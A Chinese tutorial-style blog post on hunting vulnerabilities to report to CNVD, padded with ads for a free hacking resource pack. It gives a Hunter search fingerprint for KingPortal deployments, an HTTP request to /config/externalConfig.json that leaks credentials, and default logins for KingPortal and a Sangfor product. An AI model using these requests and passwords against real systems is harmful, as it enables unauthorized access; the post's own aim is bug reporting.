CNVD通用型漏洞挖掘思路-平台漏洞列表一眼定睛法！网络安全零基础入门到精通教程！

有一种艺术叫做，我只需看一眼就能一眼定睛

其实最有效率挖cnvd的方法是在于平台本身公布出的漏洞,因为绝对不止一个漏洞

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程，需要的小伙伴可以扫描下方二维码或链接免费领取~

这里比如我们看web应用(其他类型都可以看看)

一般我们看第一页的漏洞信息就够的了,这里我们点最新的那个KingPortal开发系统

存在弱口令,很好,继续挖它

重生之鹰图语法

web.body=“KingPortal开发系统”

专属Burp打开

这里在测试弱口令中,抓到个奇怪的包

放到重发器看看

获得密码,信息泄露漏洞一枚!

POC为:

GET /config/externalConfig.json HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

通过admin001,密码admin001成功进入

后面可以对功能点测试越权漏洞,逻辑漏洞等等

然后cnvd查一下

就可以提交了

如果被提交过了,漏洞重复了,是不是寄了

别慌,根据我老手经验,我们打开爱企查(这里划重点,什么叫做姜还是老的辣!!!)

点击软件著作权信息

鹰图搜这个系统名称,这个时候你就会真正理解什么叫做通用型漏洞影响

是不是和刚刚的一模一样,所以刚才的信息泄露漏洞都可以尝试,并提交漏洞

第二个可以看看漏洞列表的安全产品

最新的深信服云镜网络弱口令

对于安全产品或安全设备类的,我们可以搜索使用手册

获得弱口令是admin/admin123

然后也是继续我那个思路弱口令进去后挖RCE,逻辑漏洞等等

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

因篇幅有限，仅展示部分资料，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，请看下方扫描即可前往获取

👉1.成长路线图&学习规划👈

要学习一门新的技术，作为新手一定要先学习成长路线图，方向不对，努力白费。

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字，我也为大家准备了视频教程，其中一共有21个章节，每个章节都是当前板块的精华浓缩。（全套教程扫描领取哈）

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍：

黑客资料由于是敏感资源，这里不能直接展示哦！ （全套教程扫描领取哈）

👉4.护网行动资料👈

其中关于HW护网行动，也准备了对应的资料，这些内容可相当于比赛的金手指！

👉5.黑客必读书单👈

👉6.网络安全岗面试题合集👈

当你自学到这里，你就要开始思考找工作的事情了，而工作绕不开的就是真题和面试题。

所有资料共282G，朋友们如果有需要全套《网络安全入门+进阶学习资源包》，可以扫描下方二维码或链接免费领取~